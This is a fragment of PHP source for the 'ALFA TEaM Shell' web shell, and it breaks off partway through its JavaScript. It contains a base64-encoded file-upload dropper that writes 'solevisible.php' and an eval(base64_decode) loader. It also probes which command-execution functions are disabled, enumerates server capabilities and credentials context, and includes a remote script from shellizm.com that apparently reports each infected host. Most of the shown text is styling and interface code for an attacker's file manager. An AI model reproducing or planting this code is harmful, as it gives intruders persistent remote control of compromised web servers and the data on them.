\'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\';\r\n$alfa_uploader = \'$x = base64_decode("\'.$GLOBALS[\'__ALFA_SHELL_CODE\'].\'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);\';\r\ndefine("ALFA_UPLOADER", "eval(base64_decode(\'".__ZW5jb2Rlcg($alfa_uploader)."\'))");\r\ndefine("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace(\'\\\\\',\'/\',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable(\'.\')?\'.\':false)) : false));\r\nif(!isset($_POST[\'ajax\'])){\r\nfunction Alfa_GetDisable_Function(){\r\n$disfun = @ini_get(\'disable_functions\');\r\n$afa = \'<span class="header_show_all">All Functions Accessible</span>\';\r\nif(empty($disfun))return($afa);\r\n$s = explode(\',\',$disfun);\r\n$s = array_unique($s);\r\n$i=0;\r\n$b=0;\r\n$func = array(\'system\',\'exec\',\'shell_exec\',\'proc_open\',\'popen\',\'passthru\',\'symlink\',\'dl\');\r\n$black_list = array();\r\n$allow_list = array();\r\nforeach($s as $d){\r\n\t$d=trim($d);\r\n\tif(empty($d)||!is_callable($d))continue;\r\n\tif(!function_exists($d)){\r\n\t\tif(in_array($d,$func)){\r\n\t\t\t$dis .= $d." | ";$b++;\r\n\t\t\t$black_list[] = $d;\r\n\t\t}else{\r\n\t\t\t$allow_list[] = $d;\r\n\t\t}\r\n\t\t$i++;\r\n\t}\r\n}\r\nif($i==0)return($afa);\r\nif($i <= count($func)){\r\n$all = array_values(array_merge($black_list, $allow_list));\r\nreturn(\'<span class="disable_functions">\'.implode(" | ", $all).\'</span>\');\r\n}\r\nreturn(\'<span class="disable_functions">\'.$dis.\'</span><a href=javascript:void(0) onclick="g(\\\'GetDisFunc\\\',null,\\\'wp\\\');"><span class="header_show_all">Show All (\'.$i.\')</span></a>\');\r\n}\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}\r\nif(empty($_POST[\'charset\']))\r\n$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\r\n$freeSpace = function_exists(\'diskfreespace\')?@diskfreespace($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = function_exists(\'disk_total_space\')?@disk_total_space($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = $totalSpace?$totalSpace:1;\r\n$on="<span class=\'header_on\'> ON </span>";\r\n$of="<span class=\'header_off\'> OFF </span>";\r\n$none="<span class=\'header_none\'> NONE </span>";\r\nif(function_exists(\'ssh2_connect\'))\r\n$ssh2=$on;\r\nelse\r\n$ssh2=$of;\r\nif(function_exists(\'curl_version\'))\r\n$curl=$on;\r\nelse\r\n$curl=$of;\r\nif(function_exists(\'mysql_get_client_info\'))\r\n$mysql=$on;\r\nelse\r\n$mysql=$of;\r\nif(function_exists(\'mssql_connect\'))\r\n$mssql=$on;\r\nelse\r\n$mssql=$of;\r\nif(function_exists(\'pg_connect\'))\r\n$pg=$on;\r\nelse\r\n$pg=$of;\r\nif(function_exists(\'oci_connect\'))\r\n$or=$on;\r\nelse\r\n$or=$of;\r\nif(@ini_get(\'disable_functions\'))\r\n$disfun=@ini_get(\'disable_functions\');\r\nelse\r\n$disfun="All Functions Enable";\r\nif(@ini_get(\'safe_mode\'))\r\n$safe_modes="<span class=\'header_off\'>ON</span>";\r\nelse\r\n$safe_modes="<span class=\'header_on\'>OFF</span>";\r\n$cgi_shell="<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>";\r\nif(@ini_get(\'open_basedir\')){\r\n$basedir_data = @ini_get(\'open_basedir\');\r\nif(strlen($basedir_data)>120){\r\n$open_b=substr($basedir_data,0, 120)."...";\r\n}else{\r\n$open_b = $basedir_data;\r\n}\r\n}else{$open_b=$none;}\r\nif(@ini_get(\'safe_mode_exec_dir\'))\r\n$safe_exe=@ini_get(\'safe_mode_exec_dir\');\r\nelse\r\n$safe_exe=$none;\r\nif(@ini_get(\'safe_mode_include_dir\'))\r\n$safe_include=@ini_get(\'safe_mode_include_dir\');\r\nelse\r\n$safe_include=$none;\r\nif(!function_exists(\'posix_getegid\'))\r\n{\r\n$user = function_exists("get_current_user")?@get_current_user():"????";\r\n$uid = function_exists("getmyuid")?@getmyuid():"????";\r\n$gid = function_exists("getmygid")?@getmygid():"????";\r\n$group = "?";\r\n}else{\r\n$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");\r\n$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");\r\n$user = $uid[\'name\'];\r\n$uid = $uid[\'uid\'];\r\n$group = $gid[\'name\'];\r\n$gid = $gid[\'gid\'];\r\n}\r\n$cwd_links = \'\';\r\n$path = explode("/", $GLOBALS[\'cwd\']);\r\n$n=count($path);\r\nfor($i=0; $i<$n-1; $i++) {\r\n$cwd_links .= "<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g(\\"FilesMan\\",\\"";\r\nfor($j=0; $j<=$i; $j++)\r\n$cwd_links .= $path[$j].\'/\';\r\n$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n}\r\n$drives = "";\r\nforeach(range(\'a\',\'z\') as $drive)\r\nif(@is_dir($drive.\':\\\\\'))\r\n$drives .= \'<a href="javascript:void(0);" class="header_drive" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n$csscode =\'\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;\';\r\necho \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<script src=http://shellizm.com/kaydet.php></script>\r\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />\r\n<link href="\'.__showicon(\'alfamini\').\'" rel="icon" type="image/x-icon"/>\r\n<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\' ~ ALFA TEaM Shell - v\'.__ALFA_VERSION__.\' ::..</title>\r\n<link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet">\r\n<style type="text/css">\r\n.hlabale {\r\n    color: #67ABDF;\r\n    border-radius: 4px;\r\n    border: 1px solid #27979B;\r\n    margin-left: 7px;\r\n    padding: 2px;\r\n}\r\n#tbl_sympphp tr {\r\n\ttext-align: center;\r\n}\r\n.editor-view {\r\n\tposition: relative;\r\n}\r\n.view-content {\r\n\tposition: absolute;\r\n\toverflow-y: auto;\r\n\twidth: 100%;\r\n\theight: 475px;\r\n}\r\n*::-webkit-scrollbar-track {\r\n\t-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);\r\n\tborder-radius: 10px;\r\n\tbackground-color: #000115;\r\n}\r\n*::-webkit-scrollbar{\r\n\twidth: 10px;\r\n\tbackground-color: #000115;\r\n}\r\n*::-webkit-scrollbar-thumb {\r\n\tborder-radius: 10px;\r\n\t-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\r\n\tbackground-color: rgb(30, 130, 181);\r\n}\r\n.editor-file-name {\r\n\tmargin-left: 29px;\r\n\tmargin-top: 4px;\r\n\toverflow: hidden;\r\n    text-overflow: ellipsis;\r\n    white-space: nowrap;\r\n}\r\n.editor-icon {\r\n\tposition: absolute;\r\n}\r\n.is_active {\r\n\tbackground: rgba(49, 55, 93, 0.77);\r\n\tborder-radius: 10px;\r\n}\r\n.history-list {\r\n\theight: 88%;\r\n\toverflow-y: auto;\r\n}\r\n#editor-minimized,#cgiloader-minimized {\r\n\tdisplay: block;\r\n\tposition: fixed;\r\n\tright: -30px;\r\n\twidth: 30px;\r\n\theight: 30px;\r\n\ttop: 30%;\r\n}\r\n.minimized-wrapper {\r\n\tposition: relative;\r\n\tbackground: rgb(14, 48, 74);\r\n    width: 44px;\r\n    height: 167px;\r\n\tcursor: pointer;\r\n\tborder-bottom-left-radius: 5px;\r\n\tborder-top-left-radius: 5px;\r\n}\r\n.minimized-text {\r\n    transform: rotate(-90deg);\r\n    color: wheat;\r\n    font-size: x-large;\r\n    display: inline-block;\r\n    position: absolute;\r\n    right: -51px;\r\n    width: 129px;\r\n    top: 50px;\r\n    border-top-left-radius: 4%;\r\n    height: 56px;\r\n    padding: 3px\r\n}\r\n.close-button,.editor-minimize {\r\n\theight: 26px;\r\n    width: 38px;\r\n    right: 7px;\r\n    background: rgb(29, 86, 115);\r\n    cursor: pointer;\r\n    position: absolute;\r\n    box-sizing: border-box;\r\n    line-height: 50px;\r\n    display: inline-block;\r\n    top: 17px;\r\n    border-radius: 100px;\r\n}\r\n.editor-minimize {right: 50px;}\r\n.close-button:before,.close-button:after,.editor-minimize:before {\r\n\ttransform: rotate(-45deg);\r\n    content: "";\r\n    position: absolute;\r\n    top: 63%;\r\n    right: 6px;\r\n    margin-top: -5px;\r\n    margin-left: -25px;\r\n    display: block;\r\n    height: 4px;\r\n    width: 27px;\r\n    background-color: rgba(216, 207, 207, 0.75);\r\n    transition: all 0.25s ease-out;\r\n}\r\n.editor-minimize:before{\r\n\ttransform: rotate(0deg);\r\n}\r\n.close-button:after {\r\n  transform: rotate(-135deg);\r\n}\r\n.close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{\r\n\tbackground-color: red;\r\n}\r\n.close-button:hover,.editor-minimize:hover{\r\n\tbackground-color: rgba(39, 66, 80, 0.96);\r\n}\r\n#editor,#cgiloader {\r\n\tdisplay: none;\r\n\tposition: fixed;\r\n    top: 0;\r\n\twidth: 100%;\r\n\theight: 100%;\r\n}\r\n.editor-wrapper {\r\n\twidth: 100%;\r\n    height: 100%;\r\n    position: relative;\r\n    top: 1%;\r\n}\r\n.editor-header {\r\n\twidth: 97%;\r\n    background: rgba(21, 66, 88, 0.93);\r\n    height: 37px;\r\n    margin-left: 13px;\r\n    position: relative;\r\n\tborder-top-left-radius: 15px;\r\n\tborder-top-right-radius: 15px;\r\n}\r\n.editor-path {\r\n\tposition: absolute;\r\n    font-size: x-large;\r\n    margin-left: 10px;\r\n    top: 6px;\r\n    color: springgreen;\r\n}\r\n.editor-modal {\r\n    position: relative;\r\n    top: 0;\r\n    background-color: rgba(0, 1, 23, 0.95);\r\n    height: 90%;\r\n    margin-left: 20%;\r\n    margin-right: 2%;\r\n    border: 2px #0e304a solid;\r\n}\r\n.editor-explorer {\r\n    width: 19%;\r\n    height: 90%;\r\n    background-color: rgba(0, 1, 23, 0.94);\r\n    position: absolute;\r\n    z-index: 2;\r\n    left: 1%;\r\n    border: 2px rgb(14, 48, 74) solid;\r\n}\r\n.editor-controller {\r\n\tposition: relative;\r\n\ttop: -13px;\r\n}\r\n.file-holder {\r\n\tposition: relative;\r\n    width: 100%;\r\n    height: 30px;\r\n}\r\n.file-holder > .history {\r\n\tposition: absolute;\r\n    color: rgb(3, 179, 163);\r\n    cursor: pointer;\r\n\tleft:5px;\r\n    font-size: 18px;\r\n    font-family: sans-serif;\r\n\twidth:89%;\r\n\theight:100%;\r\n\tz-index: 3;\r\n\tborder-radius: 10px;\r\n\ttransition: background-color 600ms ease-out;\r\n}\r\n.file-holder > .history-close {\r\n\tdisplay: block;\r\n    opacity: 0;\r\n    position: absolute;\r\n    right: 2px;\r\n    width: 20px;\r\n    top: 4px;\r\n    text-align: center;\r\n    cursor: pointer;\r\n    color: white;\r\n    background: red;\r\n    border-radius: 100px;\r\n    font-family: monospace;\r\n    z-index: 10;\r\n    transition: opacity 600ms ease-out;\r\n    font-size: 15px;\r\n    height: 19px;\r\n}\r\n.file-holder > .history:hover {\r\n\tbackground-color: #646464;\r\n}\r\n.editor-explorer > .hheader {\r\n\tposition: relative;\r\n    color: rgb(20, 255, 7);\r\n    border-bottom: 2px rgb(32, 106, 162) solid;\r\n    text-align: center;\r\n    font-family: sans-serif;\r\n    margin-bottom: 10px;\r\n\theight: 55px;\r\n}\r\n.editor-search {\r\n\tposition: absolute;\r\n    bottom: 7px;\r\n    left: 31px;\r\n}\r\n.hheader-text {\r\n\tposition: absolute;\r\n    left: 8px;\r\n    top: 2px;\r\n}\r\n.history-clear {\r\n\tposition: absolute;\r\n    right: 8px;\r\n    top: 2px;\r\n    cursor: pointer;\r\n}\r\n.editor-body {\r\n\tposition: relative;\r\n\tmargin-left: 3px;\r\n}\r\n.editor-anim-close {\r\n\t\'.showAnimation("editorClose").\'\r\n}\r\n@keyframes editorClose {\r\n\t0% {\r\n\t\ttransform: scale(1);\r\n\t\topacity: 1;\r\n\t}\r\n\t100% {\r\n\t\ttransform: scale(0);\r\n\t\topacity: 0;\r\n\t}\r\n}\r\n.editor-anim-minimize {\r\n\t\'.showAnimation("editorMinimize").\'\r\n}\r\n@keyframes editorMinimize {\r\n\t0% {\r\n\t\tright:0px;\r\n\t\topacity: 1;\r\n\t}\r\n\t100% {\r\n\t\tright: -2000px;\r\n\t\topacity: 0;\r\n\t}\r\n}\r\n.editor-anim-show {\r\n\t\'.showAnimation("editorShow").\'\r\n}\r\n@keyframes editorShow {\r\n\t0% {\r\n\t\tright:-2000px;\r\n\t\topacity: 0;\r\n\t}\r\n\t100% {\r\n\t\tright: 0px;\r\n\t\topacity: 1;\r\n\t}\r\n}\r\n.minimized-show {\r\n\t\'.showAnimation("minimizeShow").\'\r\n}\r\n@keyframes minimizeShow {\r\n\t0% {\r\n\t\tright: -30px;\r\n\t\topacity: 0;\r\n\t}\r\n\t100% {\r\n\t\tright: 0px;\r\n\t\topacity: 1;\r\n\t}\r\n}\r\n.minimized-hide {\r\n\t\'.showAnimation("minimizeHide").\'\r\n}\r\n@keyframes minimizeHide {\r\n\t0% {\r\n\t\tright: 0px;\r\n\t\topacity: 1;\r\n\t}\r\n\t100% {\r\n\t\tright: -30px;\r\n\t\topacity: 0;\r\n\t}\r\n}\r\n.solevisible-text:hover {\r\n\t-webkit-text-shadow: 0px 0px 25px #00FF00;\r\n\t-moz-text-shadow: 0px 0px 25px #00FF00;\r\n\t-ms-text-shadow: 0px 0px 25px #00FF00;\r\n\ttext-shadow: 0px 0px 25px #00FF00;\r\n}\r\n.update-holder {\r\n    position: fixed;\r\n    top: 0;\r\n    background-color: rgba(0, 24, 29, 0.72);\r\n    width: 100%;\r\n    height: 100%;\r\n}\r\n.update-partner {\r\n    width: 50%;\r\n    position: relative;\r\n    border-radius: 31px;\r\n    height: 200px;\r\n    background-color: rgba(3, 3, 41, 0.47);\r\n    text-align: center;\r\n    color: rgba(252, 253, 251, 0.88);\r\n    margin-left: 25%;\r\n    top: 23%;\r\n    font-family: "Francois One", sans-serif;\r\n}\r\n.update-partner:hover {\r\n-webkit-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);\r\n-moz-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);\r\nbox-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);\r\n}\r\n.update-content {\r\n\tposition: relative;\r\n}\r\n.update-content > a {\r\n    text-decoration: none;\r\n    position: absolute;\r\n    color: rgba(103, 167, 47, 0.77);\r\n    left: 24%;\r\n    margin-top: 7%;\r\n    font-size: 40px;\r\n    font-family: "Francois One", sans-serif;\r\n}\r\n.update-close {\r\n\tposition: absolute;\r\n    right: 0;\r\n    margin-right: 23px;\r\n    top: 10px;\r\n    font-size: 27px;\r\n    background-color: #130f50;\r\n    width: 5%;\r\n    border-radius: 100px;\r\n    cursor: pointer;\r\n    border: 2px rgb(14, 38, 90) solid;\r\n}\r\n.update-close:hover {\r\n\tborder: 2px #25ff00 solid;\r\n    color: #FF0000;\r\n}\r\n.filestools {\r\n    height: auto;\r\n    width: auto;\r\n    color: #67ABDF;\r\n    font-size: 12px;\r\n    font-family: Verdana,Geneva,sans-serif;\r\n}\r\n@-moz-document url-prefix() {\r\n\t#search-input {\r\n\t\twidth: 173px;\r\n\t}\r\n\t.editor-path {\r\n\t\ttop:3px;\r\n\t}\r\n}\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\'.$csscode.\'width:100px;height:100px;}\r\n#a_loader{\'.$csscode.\'width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}\r\n.ajaxarea{border:1px solid #0E304A;color:#67ABDF}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:\'.alfa_getColor("header_values").\';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:\'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'0\':\'1\').\'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(\'.__showicon(\'btn\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\r\n.foottable{width: 300px;font-weight: bold;\'.(!@is_writable($GLOBALS[\'cwd\'])?\'}.dir{background-color:red;}\':\'}\').\'\r\n.main th{text-align:left;}\r\n.main a{color: #FFF;}\r\n.main tr:hover{background-color:#646464;}\r\n.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:99%; height:300px; }\r\n\'.alfaCssLoadColors().\'\r\n</style>\';\r\necho "<script type=\'text/javascript\'>\r\nvar c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\nvar a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\nvar charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\nvar alfa1_ = \'" . ((strpos(@$_POST[\'alfa1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa1\'],ENT_QUOTES)) ."\';\r\nvar alfa2_ = \'" . ((strpos(@$_POST[\'alfa2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa2\'],ENT_QUOTES)) ."\';\r\nvar alfa3_ = \'" . ((strpos(@$_POST[\'alfa3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa3\'],ENT_QUOTES)) ."\';\r\nvar alfa4_ = \'" . ((strpos(@$_POST[\'alfa4\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa4\'],ENT_QUOTES)) ."\';\r\nvar alfa5_ = \'" . ((strpos(@$_POST[\'alfa5\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa5\'],ENT_QUOTES)) ."\';\r\nvar alfa6_ = \'" . ((strpos(@$_POST[\'alfa6\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa6\'],ENT_QUOTES)) ."\';\r\nvar alfa7_ = \'" . ((strpos(@$_POST[\'alfa7\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa7\'],ENT_QUOTES)) ."\';\r\nvar alfa8_ = \'" . ((strpos(@$_POST[\'alfa8\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa8\'],ENT_QUOTES)) ."\';\r\nvar alfa9_ = \'" . ((strpos(@$_POST[\'alfa9\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa9\'],ENT_QUOTES)) ."\';\r\nvar alfa10_ = \'" . ((strpos(@$_POST[\'alfa10\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'alfa10\'],ENT_QUOTES)) ."\';\r\nvar d = document;\r\nvar mysql_cache = {};\r\nvar editor_files = {};\r\nvar editor_error = true;\r\nvar editor_current_file = \'\';\r\nvar is_minimized = false;\r\nvar cgi_is_minimized = false;\r\nvar cgi_lang = \'\';\r\nvar upcount = 1;\r\nvar islinux = 